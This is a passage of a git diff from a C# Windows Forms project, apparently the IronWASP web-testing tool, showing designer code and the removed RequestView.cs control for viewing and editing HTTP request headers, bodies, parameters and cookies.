System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.EditTBP.Location = new System.Drawing.Point(-1, 17); + this.EditTBP.Margin = new System.Windows.Forms.Padding(0); + this.EditTBP.Name = "EditTBP"; + this.EditTBP.ReadOnly = false; + this.EditTBP.Size = new System.Drawing.Size(192, 57); + this.EditTBP.TabIndex = 1; + // + // UseSSLCB + // + this.UseSSLCB.AutoSize = true; + this.UseSSLCB.Location = new System.Drawing.Point(3, 3); + this.UseSSLCB.Name = "UseSSLCB"; + this.UseSSLCB.Size = new System.Drawing.Size(89, 17); + this.UseSSLCB.TabIndex = 2; + this.UseSSLCB.Text = "SSL Request"; + this.UseSSLCB.UseVisualStyleBackColor = true; + this.UseSSLCB.CheckedChanged += new System.EventHandler(this.UseSSLCB_CheckedChanged); + // + // WaitProgressBar + // + this.WaitProgressBar.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right))); + this.WaitProgressBar.Location = new System.Drawing.Point(564, 3); + this.WaitProgressBar.MarqueeAnimationSpeed = 10; + this.WaitProgressBar.Name = "WaitProgressBar"; + this.WaitProgressBar.Size = new System.Drawing.Size(114, 13); + this.WaitProgressBar.Style = System.Windows.Forms.ProgressBarStyle.Marquee; + this.WaitProgressBar.TabIndex = 3; + this.WaitProgressBar.Visible = false; + // + // StatusAndErrorTB + // + this.StatusAndErrorTB.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.StatusAndErrorTB.BackColor = System.Drawing.Color.White; + this.StatusAndErrorTB.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.StatusAndErrorTB.Location = new System.Drawing.Point(102, 3); + this.StatusAndErrorTB.Name = "StatusAndErrorTB"; + this.StatusAndErrorTB.ReadOnly = true; + this.StatusAndErrorTB.Size = new System.Drawing.Size(456, 13); + this.StatusAndErrorTB.TabIndex = 4; + this.StatusAndErrorTB.Visible = false; + // + // BodyAddLL + // + this.BodyAddLL.AutoSize = true; + this.BodyAddLL.Font = new System.Drawing.Font("Microsoft Sans Serif", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.BodyAddLL.Location = new System.Drawing.Point(334, 25); + this.BodyAddLL.Name = "BodyAddLL"; + this.BodyAddLL.Size = new System.Drawing.Size(277, 20); + this.BodyAddLL.TabIndex = 2; + this.BodyAddLL.TabStop = true; + this.BodyAddLL.Text = "Click here to add body to this Request"; + this.BodyAddLL.Visible = false; + this.BodyAddLL.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.BodyAddLL_LinkClicked); + // + // RequestView + // + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.None; + this.BackColor = System.Drawing.Color.White; + this.Controls.Add(this.StatusAndErrorTB); + this.Controls.Add(this.WaitProgressBar); + this.Controls.Add(this.UseSSLCB); + this.Controls.Add(this.BaseTabs); + this.Name = "RequestView"; + this.Size = new System.Drawing.Size(682, 208); + this.Load += new System.EventHandler(this.RequestView_Load); + this.BaseTabs.ResumeLayout(false); + this.HeadersTab.ResumeLayout(false); + this.BodyTab.ResumeLayout(false); + this.BodyTab.PerformLayout(); + this.UrlPathPartsParametersTab.ResumeLayout(false); + this.UrlPathPartsParametersTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.UrlPathPartsParametersGrid)).EndInit(); + this.QueryParametersTab.ResumeLayout(false); + this.QueryParametersTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.QueryParametersGrid)).EndInit(); + this.BodyParametersTab.ResumeLayout(false); + this.BodyParametersTab.PerformLayout(); + this.BodyParamsPanel.ResumeLayout(false); + this.BodyParamsPanel.PerformLayout(); + this.BodyTabSplit.Panel1.ResumeLayout(false); + this.BodyTabSplit.Panel2.ResumeLayout(false); + this.BodyTabSplit.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.FormatPluginsGrid)).EndInit(); + this.ScanBodyTabs.ResumeLayout(false); + this.BodyTypeFormatPluginInjectionArrayGridTab.ResumeLayout(false); + ((System.ComponentModel.ISupportInitialize)(this.BodyParametersGrid)).EndInit(); + this.BodyTypeFormatPluginXMLTab.ResumeLayout(false); + this.FormatXmlBaseSplit.Panel1.ResumeLayout(false); + this.FormatXmlBaseSplit.Panel1.PerformLayout(); + this.FormatXmlBaseSplit.Panel2.ResumeLayout(false); + this.FormatXmlBaseSplit.ResumeLayout(false); + this.CookieParametersTab.ResumeLayout(false); + this.CookieParametersTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.CookieParametersGrid)).EndInit(); + this.HeadersParametersTab.ResumeLayout(false); + this.HeadersParametersTab.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.HeadersParametersGrid)).EndInit(); + this.HelpTab.ResumeLayout(false); + this.HelpTab.PerformLayout(); + this.EditingTab.ResumeLayout(false); + this.EditingTab.PerformLayout(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.TabControl BaseTabs; + private System.Windows.Forms.TabPage HeadersTab; + private System.Windows.Forms.TabPage BodyTab; + internal System.Windows.Forms.DataGridView QueryParametersGrid; + internal System.Windows.Forms.DataGridView CookieParametersGrid; + internal System.Windows.Forms.DataGridView HeadersParametersGrid; + private TextBoxPlus HeadersTBP; + internal System.Windows.Forms.DataGridView UrlPathPartsParametersGrid; + private TextBoxPlus BodyTBP; + private System.Windows.Forms.TabPage BodyParametersTab; + private System.Windows.Forms.SplitContainer BodyTabSplit; + internal System.Windows.Forms.DataGridView FormatPluginsGrid; + internal System.Windows.Forms.TabControl ScanBodyTabs; + private System.Windows.Forms.TabPage BodyTypeFormatPluginInjectionArrayGridTab; + internal System.Windows.Forms.DataGridView BodyParametersGrid; + private System.Windows.Forms.TabPage BodyTypeFormatPluginXMLTab; + private TextBoxPlus FormatXmlTBP; + private System.Windows.Forms.Button ConvertXmlToObjectBtn; + private System.Windows.Forms.CheckBox UseSSLCB; + private System.Windows.Forms.ProgressBar WaitProgressBar; + private System.Windows.Forms.TextBox StatusAndErrorTB; + private System.Windows.Forms.SplitContainer FormatXmlBaseSplit; + private System.Windows.Forms.TextBox textBox2; + private System.Windows.Forms.TabPage HelpTab; + private System.Windows.Forms.TextBox HelpTB; + private System.Windows.Forms.TabPage UrlPathPartsParametersTab; + private System.Windows.Forms.TabPage QueryParametersTab; + private System.Windows.Forms.TabPage CookieParametersTab; + private System.Windows.Forms.TabPage HeadersParametersTab; + private System.Windows.Forms.LinkLabel BodyFormatLbl; + private System.Windows.Forms.DataGridViewCheckBoxColumn FormatPluginSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn FormatPluginNameColumn; + private System.Windows.Forms.TabPage EditingTab; + private TextBoxPlus EditTBP; + private System.Windows.Forms.LinkLabel SaveEditsLbl; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridViewImageColumn Column2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn7; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn8; + private System.Windows.Forms.DataGridViewImageColumn dataGridViewImageColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn11; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn12; + private System.Windows.Forms.DataGridViewImageColumn dataGridViewImageColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn13; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn14; + private System.Windows.Forms.DataGridViewImageColumn dataGridViewImageColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; + private System.Windows.Forms.DataGridViewImageColumn Column1; + private System.Windows.Forms.DataGridViewTextBoxColumn Column3; + private System.Windows.Forms.Label BodyEmptyLbl; + private System.Windows.Forms.Label UrlPathPartsEmptyLbl; + private System.Windows.Forms.Label QueryParamEmptyLbl; + private System.Windows.Forms.Label BodyParamEmptyLbl; + private System.Windows.Forms.Panel BodyParamsPanel; + private System.Windows.Forms.Label CookieParamEmptyLbl; + private System.Windows.Forms.Label HeaderParamEmptyLbl; + private System.Windows.Forms.LinkLabel BodyAddLL; + } +} diff --git a/IronWASP/RequestView.cs b/Iron/RequestView.cs similarity index 85% rename from IronWASP/RequestView.cs rename to Iron/RequestView.cs index 0db16b0..7f22c22 100644 --- a/IronWASP/RequestView.cs +++ b/Iron/RequestView.cs @@ -1,1206 +1,1373 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Drawing; -using System.Data; -using System.Text; -using System.Windows.Forms; -using System.Threading; - -namespace IronWASP -{ - public partial class RequestView : UserControl - { - public RequestView() - { - InitializeComponent(); - } - - string ExpandedParameterSection = ""; - int ExpandedParameterIndex = 0; - - Request DisplayedRequest; - - bool readOnly = false; - - bool UseSslChanged = false; - bool HeadersChanged = false; - bool BodyChanged = false; - bool UrlPathPartsChanged = false; - bool QueryParametersChanged = false; - bool BodyParametersChanged = false; - bool BodyFormatXmlChanged = false; - bool CookieParametersChanged = false; - bool HeadersParametersChanged = false; - - Thread FormatPluginCallingThread; - - string CurrentFormatXml = ""; - string[,] CurrentXmlNameValueArray = new string[,] { }; - - public delegate void RequestChangedEvent(); - - public event RequestChangedEvent RequestChanged; - - public bool ReadOnly - { - get - { - return readOnly; - } - set - { - SetReadOnly(value); - } - } - - delegate void SetReadOnly_d(bool ReadOnlyVal); - public void SetReadOnly(bool ReadOnlyVal) - { - if (this.BaseTabs.InvokeRequired) - { - SetReadOnly_d InvokeDelegate_d = new SetReadOnly_d(SetReadOnly); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { ReadOnlyVal }); - } - else - { - readOnly = ReadOnlyVal; - UseSSLCB.Enabled = !ReadOnlyVal; - HeadersTBP.ReadOnly = ReadOnlyVal; - BodyTBP.ReadOnly = ReadOnlyVal; - FormatXmlTBP.ReadOnly = ReadOnlyVal; - EditTBP.ReadOnly = ReadOnly; - SaveEditsLbl.Visible = !ReadOnly; - //Disable format plugins - //Make all parameters grid value fields read-only - foreach (DataGridViewRow Row in UrlPathPartsParametersGrid.Rows) - { - Row.Cells[1].ReadOnly = this.ReadOnly; - } - foreach (DataGridViewRow Row in QueryParametersGrid.Rows) - { - Row.Cells[1].ReadOnly = this.ReadOnly; - } - foreach (DataGridViewRow Row in BodyParametersGrid.Rows) - { - Row.Cells[1].ReadOnly = this.ReadOnly; - } - foreach (DataGridViewRow Row in CookieParametersGrid.Rows) - { - Row.Cells[1].ReadOnly = this.ReadOnly; - } - foreach (DataGridViewRow Row in HeadersParametersGrid.Rows) - { - Row.Cells[1].ReadOnly = this.ReadOnly; - } - } - } - - public void ClearRequest() - { - this.DisplayedRequest = null; - this.ClearData(); - } - - delegate void ClearData_d(); - void ClearData() - { - if (this.BaseTabs.InvokeRequired) - { - ClearData_d InvokeDelegate_d = new ClearData_d(ClearData); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { }); - } - else - { - UseSSLCB.Checked = false; - HeadersTBP.ClearData(); - BodyTBP.ClearData(); - FormatXmlTBP.ClearData(); - ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; - UrlPathPartsParametersGrid.Rows.Clear(); - QueryParametersGrid.Rows.Clear(); - CookieParametersGrid.Rows.Clear(); - HeadersParametersGrid.Rows.Clear(); - BodyParametersGrid.Rows.Clear(); - ClearEditTab(); - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - Row.Cells[0].Value = false; - } - if (FormatPluginCallingThread != null) - { - try - { - FormatPluginCallingThread.Abort(); - } - catch { } - } - ShowStatusMsg(""); - ShowProgressBar(false); - } - } - - public void ClearStatusAndError() - { - ShowStatusMsg(""); - } - - delegate void ShowStatusMsg_d(string Msg); - public void ShowStatusMsg(string Msg) - { - if (this.BaseTabs.InvokeRequired) - { - ShowStatusMsg_d InvokeDelegate_d = new ShowStatusMsg_d(ShowStatusMsg); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Msg }); - } - else - { - StatusAndErrorTB.Text = Msg; - if (Msg.Length == 0) - { - StatusAndErrorTB.Visible = false; - } - else - { - StatusAndErrorTB.ForeColor = Color.Black; - StatusAndErrorTB.Visible = true; - } - } - } - - delegate void ShowErrorMsg_d(string Msg); - public void ShowErrorMsg(string Msg) - { - if (this.BaseTabs.InvokeRequired) - { - ShowErrorMsg_d InvokeDelegate_d = new ShowErrorMsg_d(ShowErrorMsg); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Msg }); - } - else - { - StatusAndErrorTB.Text = Msg; - if (Msg.Length == 0) - { - StatusAndErrorTB.Visible = false; - } - else - { - StatusAndErrorTB.ForeColor = Color.Red; - StatusAndErrorTB.Visible = true; - } - } - } - - delegate void ShowProgressBar_d(bool Show); - public void ShowProgressBar(bool Show) - { - if (this.BaseTabs.InvokeRequired) - { - ShowProgressBar_d InvokeDelegate_d = new ShowProgressBar_d(ShowProgressBar); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Show }); - } - else - { - this.WaitProgressBar.Visible = Show; - } - } - - delegate void SetRequest_d(Request Req); - public void SetRequest(Request Req) - { - if (this.BaseTabs.InvokeRequired) - { - SetRequest_d InvokeDelegate_d = new SetRequest_d(SetRequest); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); - } - else - { - this.ClearData(); - - this.SetHeader(Req); - this.SetBody(Req); - this.SetUrlPathPartsParameters(Req); - this.SetQueryParameters(Req); - - this.SetCookieParameters(Req); - this.SetHeadersParameters(Req); - - FormatPluginsGrid.Rows.Clear(); - FormatPluginsGrid.Rows.Add(new object[] { false, " -- " }); - foreach (string Name in FormatPlugin.List()) - { - FormatPluginsGrid.Rows.Add(new object[]{false, Name}); - } - //this.SetBodyParameters(Req); - this.AutoDetectFormatAndSetBodyParameters(Req); - this.ResetAllChangedValueStatus(); - this.DisplayedRequest = Req; - } - } - - void AutoDetectFormatAndSetBodyParameters(Request Req) - { - if (FormatPluginCallingThread != null) - { - try - { - FormatPluginCallingThread.Abort(); - } - catch { } - } - ShowStatusMsg("Detecting Request body format.."); - ShowProgressBar(true); - FormatPluginCallingThread = new Thread(AutoDetectFormatAndSetBodyParameters); - FormatPluginCallingThread.Start(Req); - } - void AutoDetectFormatAndSetBodyParameters(object ReqObj) - { - try - { - Request Req = ((Request)ReqObj).GetClone(); - string FPName = FormatPlugin.Get(Req); - - if (FPName == "Normal") - { - SetBodyParameters(Req, true); - } - else if (FPName.Length == 0) - { - SetBodyParameters(Req, false); - } - else - { - try - { - FormatPlugin FP = FormatPlugin.Get(FPName); - CurrentFormatXml = FP.ToXmlFromRequest(Req); - CurrentXmlNameValueArray = FormatPlugin.XmlToArray(CurrentFormatXml); - SetDeserializedDataInUi(FP.Name, CurrentFormatXml, CurrentXmlNameValueArray); - } - catch - { - SetBodyParameters(Req, false); - } - } - this.ResetBodyParametersChangedStatus(); - } - catch (ThreadAbortException) { } - finally - { - ShowStatusMsg(""); - ShowProgressBar(false); - } - } - - delegate void SetHeader_d(Request Req); - void SetHeader(Request Req) - { - if (this.BaseTabs.InvokeRequired) - { - SetHeader_d InvokeDelegate_d = new SetHeader_d(SetHeader); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); - } - else - { - this.HeadersTBP.SetText(Req.GetHeadersAsStringWithoutFullURL()); - this.UseSSLCB.Checked = Req.SSL; - this.ResetHeadersChangedStatus(); - this.ResetSslChangedStatus(); - } - } - - delegate void SetBody_d(Request Req); - void SetBody(Request Req) - { - if (this.BaseTabs.InvokeRequired) - { - SetBody_d InvokeDelegate_d = new SetBody_d(SetBody); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); - } - else - { - if (Req.HasBody) - { - if (Req.IsBinary) - this.BodyTBP.SetBytes(Req.BodyArray); - else - this.BodyTBP.SetText(Req.BodyString); - } - this.ResetBodyChangedStatus(); - } - } - - delegate void SetUrlPathPartsParameters_d(Request Req); - void SetUrlPathPartsParameters(Request Req) - { - if (this.BaseTabs.InvokeRequired) - { - SetUrlPathPartsParameters_d InvokeDelegate_d = new SetUrlPathPartsParameters_d(SetUrlPathPartsParameters); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); - } - else - { - List UrlPathParts = Req.UrlPathParts; - UrlPathPartsParametersGrid.Rows.Clear(); - for (int i = 0; i < UrlPathParts.Count; i++) - { - int RowId = UrlPathPartsParametersGrid.Rows.Add(new object[] { i, UrlPathParts[i], Properties.Resources.Glass }); - UrlPathPartsParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; - } - this.ResetUrlPathPartsChangedStatus(); - } - } - - delegate void SetQueryParameters_d(Request Req); - void SetQueryParameters(Request Req) - { - if (this.BaseTabs.InvokeRequired) - { - SetQueryParameters_d InvokeDelegate_d = new SetQueryParameters_d(SetQueryParameters); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); - } - else - { - QueryParametersGrid.Rows.Clear(); - foreach (string Name in Req.Query.GetNames()) - { - foreach (string Value in Req.Query.GetAll(Name)) - { - int RowId = QueryParametersGrid.Rows.Add(new object[] { Name, Value, Properties.Resources.Glass }); - QueryParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; - } - } - this.ResetQueryParametersChangedStatus(); - } - } - - delegate void SetBodyParameters_d(Request Req, bool HideFormatPluginsGrid); - void SetBodyParameters(Request Req, bool HideFormatPluginsGrid) - { - if (this.BaseTabs.InvokeRequired) - { - SetBodyParameters_d InvokeDelegate_d = new SetBodyParameters_d(SetBodyParameters); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req, HideFormatPluginsGrid }); - } - else - { - BodyParametersGrid.Rows.Clear(); - foreach (string Name in Req.Body.GetNames()) - { - foreach (string Value in Req.Body.GetAll(Name)) - { - int RowId = BodyParametersGrid.Rows.Add(new object[] { Name, Value, Properties.Resources.Glass }); - BodyParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; - } - } - FormatPluginsGrid.Rows[0].Cells[0].Value = true; - if (HideFormatPluginsGrid) - { - HideBodyFormatOptions(); - } - else - { - ShowBodyFormatOptions(); - } - this.ResetBodyParametersChangedStatus(); - } - } - - delegate void SetCookieParameters_d(Request Req); - void SetCookieParameters(Request Req) - { - if (this.BaseTabs.InvokeRequired) - { - SetCookieParameters_d InvokeDelegate_d = new SetCookieParameters_d(SetCookieParameters); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); - } - else - { - CookieParametersGrid.Rows.Clear(); - foreach (string Name in Req.Cookie.GetNames()) - { - foreach (string Value in Req.Cookie.GetAll(Name)) - { - int RowId = CookieParametersGrid.Rows.Add(new object[] { Name, Value, Properties.Resources.Glass }); - CookieParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; - } - } - this.ResetCookieParametersChangedStatus(); - } - } - - delegate void SetHeadersParameters_d(Request Req); - void SetHeadersParameters(Request Req) - { - if (this.BaseTabs.InvokeRequired) - { - SetHeadersParameters_d InvokeDelegate_d = new SetHeadersParameters_d(SetHeadersParameters); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { Req }); - } - else - { - HeadersParametersGrid.Rows.Clear(); - foreach (string Name in Req.Headers.GetNames()) - { - if (!Name.Equals("Host", StringComparison.OrdinalIgnoreCase) && !Name.Equals("Cookie", StringComparison.OrdinalIgnoreCase)) - { - foreach (string Value in Req.Headers.GetAll(Name)) - { - int RowId = HeadersParametersGrid.Rows.Add(new object[] { Name, Value, Properties.Resources.Glass }); - HeadersParametersGrid.Rows[RowId].Cells[1].ReadOnly = this.ReadOnly; - } - } - } - this.ResetHeadersParametersChangedStatus(); - } - } - - public Request GetRequest() - { - try - { - return this.GetRequestOrException(); - } - catch - { - return null; - } - } - public Request GetRequestOrException() - { - this.HandleAllDataChanges(); - if (FormatPluginCallingThread != null) - { - try - { - while (FormatPluginCallingThread.ThreadState == ThreadState.Running) - { - Thread.Sleep(100); - } - } - catch { } - } - return DisplayedRequest; - } - - delegate void UpdateRequest_d(); - public void UpdateRequest() - { - if (this.BaseTabs.InvokeRequired) - { - UpdateRequest_d InvokeDelegate_d = new UpdateRequest_d(UpdateRequest); - this.BaseTabs.Invoke(InvokeDelegate_d, new object[] { }); - } - else - { - try - { - this.HandleAllDataChanges(); - } - catch(Exception Exp) - { - ShowErrorMsg(Exp.Message); - } - } - } - - void HandleAllDataChanges() - { - if (this.ReadOnly) return; - if (HeadersChanged || BodyChanged || UrlPathPartsChanged || QueryParametersChanged || BodyParametersChanged || CookieParametersChanged || HeadersParametersChanged) - { - ShowStatusMsg(""); - } - if (HeadersChanged) - { - Request NewRequest = new Request(HeadersTBP.GetText(), UseSSLCB.Checked); - if(DisplayedRequest.HasBody) - { - if (DisplayedRequest.IsBinary) - NewRequest.BodyArray = BodyTBP.GetBytes(); - else - NewRequest.BodyString = BodyTBP.GetText(); - } - this.DisplayedRequest = NewRequest; - - SetUrlPathPartsParameters(this.DisplayedRequest); - SetQueryParameters(this.DisplayedRequest); - SetCookieParameters(this.DisplayedRequest); - SetHeadersParameters(this.DisplayedRequest); - - ResetHeadersChangedStatus(); - ResetUrlPathPartsChangedStatus(); - ResetQueryParametersChangedStatus(); - ResetCookieParametersChangedStatus(); - ResetHeadersParametersChangedStatus(); - } - if (BodyChanged && this.DisplayedRequest != null) - { - if (BodyTBP.IsBinary) - this.DisplayedRequest.BodyArray = BodyTBP.GetBytes(); - else - this.DisplayedRequest.BodyString = BodyTBP.GetText(); - AutoDetectFormatAndSetBodyParameters(this.DisplayedRequest); - //SetBodyParameters(this.DisplayedRequest); - ClearBodyTypeFormatPluginsUi(); - ResetBodyChangedStatus(); - ResetBodyParametersChangedStatus(); - } - if (UrlPathPartsChanged && this.DisplayedRequest != null) - { - List UrlPathParts = new List(); - foreach (DataGridViewRow Row in UrlPathPartsParametersGrid.Rows) - { - if (Row.Cells[1].Value == null) - UrlPathParts.Add(""); - else - UrlPathParts.Add(Row.Cells[1].Value.ToString()); - } - this.DisplayedRequest.UrlPathParts = UrlPathParts; - HeadersTBP.SetText(this.DisplayedRequest.GetHeadersAsStringWithoutFullURL()); - ResetHeadersChangedStatus(); - ResetUrlPathPartsChangedStatus(); - } - if (QueryParametersChanged && this.DisplayedRequest != null) - { - this.DisplayedRequest.Query.RemoveAll(); - foreach (DataGridViewRow Row in QueryParametersGrid.Rows) - { - if (Row.Cells[1].Value == null) - this.DisplayedRequest.Query.Add(Row.Cells[0].Value.ToString(), ""); - else - this.DisplayedRequest.Query.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - } - this.HeadersTBP.SetText(this.DisplayedRequest.GetHeadersAsStringWithoutFullURL()); - ResetHeadersChangedStatus(); - ResetQueryParametersChangedStatus(); - } - if (CookieParametersChanged && this.DisplayedRequest != null) - { - this.DisplayedRequest.Cookie.RemoveAll(); - foreach (DataGridViewRow Row in CookieParametersGrid.Rows) - { - if (Row.Cells[1].Value == null) - this.DisplayedRequest.Cookie.Add(Row.Cells[0].Value.ToString(), ""); - else - this.DisplayedRequest.Cookie.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - } - this.HeadersTBP.SetText(this.DisplayedRequest.GetHeadersAsStringWithoutFullURL()); - ResetHeadersChangedStatus(); - ResetCookieParametersChangedStatus(); - } - if (HeadersParametersChanged && this.DisplayedRequest != null) - { - foreach (string Name in this.DisplayedRequest.Headers.GetNames()) - { - if (Name != "Cookie") - { - this.DisplayedRequest.Headers.Remove(Name); - } - } - foreach (DataGridViewRow Row in HeadersParametersGrid.Rows) - { - if (Row.Cells[1].Value == null) - this.DisplayedRequest.Headers.Add(Row.Cells[0].Value.ToString(), ""); - else - this.DisplayedRequest.Headers.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - } - this.HeadersTBP.SetText(this.DisplayedRequest.GetHeadersAsStringWithoutFullURL()); - ResetHeadersChangedStatus(); - ResetHeadersParametersChangedStatus(); - } - if (BodyParametersChanged && this.DisplayedRequest != null) - { - if (GetSelectedFormatPluginName() == "Normal") - { - this.DisplayedRequest.Body.RemoveAll(); - foreach (DataGridViewRow Row in BodyParametersGrid.Rows) - { - if (Row.Cells[1].Value == null) - this.DisplayedRequest.Body.Add(Row.Cells[0].Value.ToString(), ""); - else - this.DisplayedRequest.Body.Add(Row.Cells[0].Value.ToString(), Row.Cells[1].Value.ToString()); - } - this.BodyTBP.SetText(this.DisplayedRequest.BodyString); - ResetBodyChangedStatus(); - ResetBodyParametersChangedStatus(); - //ClearBodyTypeFormatPluginsUi(); - } - else - { - string[,] EditedNameValuePairs = new string[BodyParametersGrid.Rows.Count, 2]; - foreach (DataGridViewRow Row in BodyParametersGrid.Rows) - { - EditedNameValuePairs[Row.Index, 0] = Row.Cells[0].Value.ToString(); - if (Row.Cells[1].Value == null) - EditedNameValuePairs[Row.Index, 1] = ""; - else - EditedNameValuePairs[Row.Index, 1] = Row.Cells[1].Value.ToString(); - } - string PluginName = GetSelectedFormatPluginName(); - if (PluginName.Length > 0) - SerializeNewParametersWithFormatPlugin(EditedNameValuePairs, PluginName); - ResetBodyParametersChangedStatus(); - } - } - //if (BodyTypeFormatPluginsParametersChanged && this.DisplayedRequest != null) - //{ - // string[,] EditedNameValuePairs = new string[BodyParametersGrid.Rows.Count, 2]; - // foreach (DataGridViewRow Row in BodyParametersGrid.Rows) - // { - // EditedNameValuePairs[Row.Index, 0] = Row.Cells[0].Value.ToString(); - // if (Row.Cells[1].Value == null) - // EditedNameValuePairs[Row.Index, 1] = ""; - // else - // EditedNameValuePairs[Row.Index, 1] = Row.Cells[1].Value.ToString(); - // } - // string PluginName = GetSelectedFormatPluginName(); - // if(PluginName.Length > 0) - // SerializeNewParametersWithFormatPlugin(EditedNameValuePairs, PluginName); - // ResetBodyTypeFormatPluginsParametersChangedStatus(); - //} - if (UseSslChanged && this.DisplayedRequest != null) - { - this.DisplayedRequest.SSL = UseSSLCB.Checked; - ResetSslChangedStatus(); - } - } - - void ClearBodyTypeFormatPluginsUi() - { - BodyParametersGrid.Rows.Clear(); - ConvertXmlToObjectBtn.Text = "Convert this XML to Object"; - FormatXmlTBP.ClearData(); - foreach (DataGridViewRow Row in FormatPluginsGrid.Rows) - { - Row.Cells[0].Value = false; - } - ResetBodyFormatXmlChangedStatus(); - ResetBodyParametersChangedStatus(); - } - - void ResetAllChangedValueStatus() - { - ResetSslChangedStatus(); - ResetHeadersChangedStatus(); - ResetBodyChangedStatus(); - ResetUrlPathPartsChangedStatus(); - ResetQueryParametersChangedStatus(); - ResetBodyParametersChangedStatus(); - ResetBodyFormatXmlChangedStatus(); - ResetCookieParametersChangedStatus(); - ResetHeadersParametersChangedStatus(); - } - void ResetSslChangedStatus() - { - UseSslChanged = false; - } - void ResetHeadersChangedStatus() - { - HeadersChanged = false; - } - void ResetBodyChangedStatus() - { - BodyChanged = false; - } - void ResetUrlPathPartsChangedStatus() - { - UrlPathPartsChanged = false; - } - void ResetQueryParametersChangedStatus() - { - QueryParametersChanged = false; - } - void ResetBodyParametersChangedStatus() - { - BodyParametersChanged = false; - } - void ResetBodyFormatXmlChangedStatus() - { - BodyFormatXmlChanged = false; - } - void ResetCookieParametersChangedStatus() - { - CookieParametersChanged = false; - } - void ResetHeadersParametersChangedStatus() - { - HeadersParametersChanged = false; - } - - private void UseSSLCB_CheckedChanged(object sender, EventArgs e) - { - UseSslChanged = true; - if (DisplayedRequest != null && RequestChanged != null) - RequestChanged(); - } - - private void HeadersTBP_ValueChanged() - { - HeadersChanged = true; - if (DisplayedRequest != null && RequestChanged != null) - RequestChanged(); - } - - private void BodyTBP_ValueChanged() - { - BodyChanged = true; - if (DisplayedRequest != null && RequestChanged != null) - RequestChanged(); - } - - private void UrlPathPartsParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - UrlPathPartsChanged = true; - if (DisplayedRequest != null && RequestChanged != null) - RequestChanged(); - } - - private void QueryParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - QueryParametersChanged = true; - if (DisplayedRequest != null && RequestChanged != null) - RequestChanged(); - } - - private void CookieParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - CookieParametersChanged = true; - if (DisplayedRequest != null && RequestChanged != null) - RequestChanged(); - } - - private void HeadersParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - HeadersParametersChanged = true; - if (DisplayedRequest != null && RequestChanged != null) - RequestChanged(); - } - - private void BodyParametersGrid_CellValueChanged(object sender, DataGridViewCellEventArgs e) - { - BodyParametersChanged = true; - if (DisplayedRequest != null && RequestChanged != null) - 